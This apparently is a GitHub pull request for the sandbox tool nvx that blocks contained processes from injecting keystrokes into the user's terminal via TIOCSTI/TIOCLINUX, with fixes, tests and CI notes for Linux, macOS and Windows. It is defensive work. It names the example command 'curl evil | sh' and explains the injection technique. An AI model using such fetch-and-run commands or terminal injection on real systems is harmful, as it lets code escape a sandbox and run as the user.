Skip to content

Stop a contained process typing into your terminal - #186

Merged
fstubner merged 2 commits into
mainfrom
fix/block-terminal-input-injection
Oct 7, 2026
Merged

fstubner merged 2 commits into
mainfrom
fix/block-terminal-input-injection

Conversation

@fstubner

@fstubner fstubner commented Oct 7, 2026

Copy link
Copy Markdown
Owner

What and why

A contained process is given nvx's terminal as its stdin, shared with nvx, so
the terminal is its controlling terminal. ioctl(fd, TIOCSTI, &c) pushes a byte
into that terminal's input queue, and after nvx exits the user's shell reads the
queue as typed input. A package postinstall could leave curl evil | sh and an
Enter behind, and it would run as the user outside the sandbox. TIOCLINUX does
the same by pasting a selection on a Linux virtual console. This is the class of
bubblewrap's CVE-2017-5226.

Linux

A new seccomp filter refuses ioctl with request TIOCSTI or TIOCLINUX and
returns EPERM. It compares the low 32 bits of the request, as Flatpak and
bubblewrap do, because the kernel reads the request as 32 bits. It is a filter of
its own, installed where the network filter is, so it applies in every network
mode including open, and on amd64 and arm64.

Kernels from 6.2 refuse TIOCSTI themselves when dev.tty.legacy_tiocsti is 0,
but kernels before 6.2 and any with the sysctl at 1 allow it. Ubuntu 22.04's
5.15 is one of them, and nvx supports it because Landlock needs 5.13.

Measured on a 5.15 kernel in a QEMU VM (built from ubuntu:22.04's
linux-image-generic), a contained process typed nvx-typed-this into the
terminal before this change and the terminal echoed it; with the filter both
requests return EPERM, unprivileged and as root. On WSL2 6.18, where the kernel
refuses TIOCSTI with EIO, the filter's EPERM is distinguishable from that
refusal. TestContainedProcessCannotTypeIntoTheTerminal drives the real chain on
a pseudo-terminal and TestTerminalFilterRefusesTypingAndNothingElse checks the
filter on the running kernel; both run in the privileged CI step and both fail on
the old code (EIO/ENOTTY instead of EPERM).

A fresh pty the contained process opens itself is its own and reaches nothing
outside the sandbox; on Linux the sandbox's filesystem view has no /dev/ptmx,
so it cannot open one anyway, and the filter would block it regardless.

macOS

The Seatbelt profile now denies TIOCSTI by command number,
(deny file-ioctl (ioctl-command 2147578994)) after the write allow.
file-ioctl is a separate Seatbelt operation, not implied by file-read* or
file-write*, so (deny default) already refuses it and the profile grants
file-ioctl nowhere; the explicit deny is insurance for the macOS versions where
the default-deny of this one command is not confirmed. The command is decimal
because the TIOCSTI symbol and a hex literal do not parse under sandbox-exec
on macOS 13 and 14.

TestSeatbeltDeniesTerminalInputInjection pins the rule and that nothing
re-grants file-ioctl. scripts/sandbox-terminal-injection-macos.sh, in a new
macOS CI step, runs the real attempt on a controlling terminal built with
forkpty: a contained node spawns the runner's python3, which inherits the
sandbox and the terminal and attempts TIOCSTI, with an uncontained control that
must inject. This step is the one piece I could not run locally; it iterates
through this PR's CI.

Windows

The OS already refuses WriteConsoleInput to an AppContainer process on the
console it shares with the shell. TestAContainedProcessCannotInjectConsoleInput
(NVX_PROBE=1) opens CONIN$, the inherited stdin and the parent's console via
AttachConsole, and all three writes are refused with "Access is denied",
measured on Windows 11. The read-back path was confirmed to catch an injection by
planting the same records uncontained and reading them back. No code change was
needed; it is kept as a regression probe.

Docs

A new row in docs/enforcement-matrix.md and SECURITY.md, per platform with
evidence, plus a CHANGELOG entry under Security.

Verification

  • gofmt -l internal cmd clean; go vet ./..., GOOS=linux go vet ./...,
    GOOS=darwin go vet ./... clean.
  • go test ./internal/nvx -count=1 passes on Windows.
  • Linux test binary, privileged, under sudo: the two new terminal tests pass;
    both fail on the old code.
  • Windows probe passes with NVX_PROBE=1.
  • bash -n on the new script; ci.yml parses.

Do not merge.

A contained process gets nvx's terminal as its stdin, shared with nvx, so
the terminal is its controlling terminal. ioctl(fd, TIOCSTI, &c) pushes a
byte into that terminal's input queue, and after nvx exits the user's shell
reads the queue as typed input. A package postinstall could leave a command
and an Enter behind that run as the user outside the sandbox. TIOCLINUX does
the same by pasting a selection on a Linux virtual console. This is the class
of bubblewrap's CVE-2017-5226.

Linux: add a seccomp filter that refuses ioctl with request TIOCSTI or
TIOCLINUX, returning EPERM. It compares the low 32 bits of the request, as
Flatpak and bubblewrap do, because the kernel reads the request as 32 bits. It
is a filter of its own, installed where the network filter is, so it applies
in every network mode including open and on amd64 and arm64. Kernels from 6.2
refuse TIOCSTI themselves when dev.tty.legacy_tiocsti is 0, but older kernels
and any with the sysctl at 1 allow it, and Ubuntu 22.04's 5.15 is one of them.
Measured on a 5.15 kernel in a QEMU VM, a contained process typed a marker
into the terminal before the filter and the terminal echoed it; with the
filter both requests return EPERM. On WSL2 6.18, where the kernel refuses
TIOCSTI with EIO, the filter's EPERM is distinguishable from that refusal.
TestContainedProcessCannotTypeIntoTheTerminal drives the real chain on a
pseudo-terminal and TestTerminalFilterRefusesTypingAndNothingElse checks the
filter on the running kernel, both in the privileged CI step.

macOS: deny TIOCSTI in the Seatbelt profile by command number,
(deny file-ioctl (ioctl-command 2147578994)) after the write allow. file-ioctl
is a separate Seatbelt operation, not implied by file-read* or file-write*, so
(deny default) already refuses it and the profile grants file-ioctl nowhere;
the explicit deny is insurance for the macOS versions where that default-deny
of this one command is not confirmed. The command is decimal because the
TIOCSTI symbol and a hex literal do not parse under sandbox-exec on macOS 13
and 14. TestSeatbeltDeniesTerminalInputInjection pins the rule and that nothing
re-grants file-ioctl. sandbox-terminal-injection-macos.sh runs the real attempt
on a controlling terminal in the macOS CI job, with an uncontained control that
must inject.

Windows: the OS already refuses WriteConsoleInput to an AppContainer process on
the shared console. TestAContainedProcessCannotInjectConsoleInput (NVX_PROBE=1)
opens CONIN$, the inherited stdin and the parent's console via AttachConsole,
and all three writes are refused with Access denied, measured on Windows 11. It
is kept as a regression probe.

Document the guarantee per platform in SECURITY.md and the enforcement matrix,
and add a CHANGELOG entry.
Two CI failures on the first run of this branch.

Ubuntu, the unprivileged unit step: the proxy case of
TestContainedProcessCannotTypeIntoTheTerminal needs a network namespace, and
Ubuntu 24.04 lets an unprivileged user namespace be created but refuses
CAP_NET_ADMIN inside it, so the supervisor's bringUpLoopback gets EPERM and
fails closed with "Network isolation failed". requireNamespaceSupport cannot
catch this, because creating the namespace succeeds and only configuring it is
refused, so the target never started and the case failed. failOrSkip now treats
that refusal as a skip, as it already did for the mount-namespace refusal the
open case hits. The privileged step runs both under sudo, where neither fires,
so coverage is kept. The decision is a pure function,
terminalStartupSkipReason, with a test that skips on both refusals and the exact
message CI produced and does not skip a genuine failure.

macOS, the terminal-injection step: the contained attempt never ran. The helper
path reached the spawned process through an environment variable, which nvx
scrubs from a contained process, so the path was undefined; and the helper was
the runner's /usr/bin/python3, an Xcode shim that writes an xcrun cache outside
the sandbox's writable paths. The ioctl is now a small C helper compiled in the
script, with no run-time dependency on xcrun, and its path is passed as an
argument and resolved against the working directory. The whole chain was
exercised on Linux first (forkpty, nvx contains node, node spawns the helper,
the helper does the ioctl on the controlling terminal): the contained attempt
returned EPERM from the seccomp filter, the control returned the host kernel's
own refusal.
@fstubner
fstubner merged commit 0d6d786 into main Oct 7, 2026
5 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant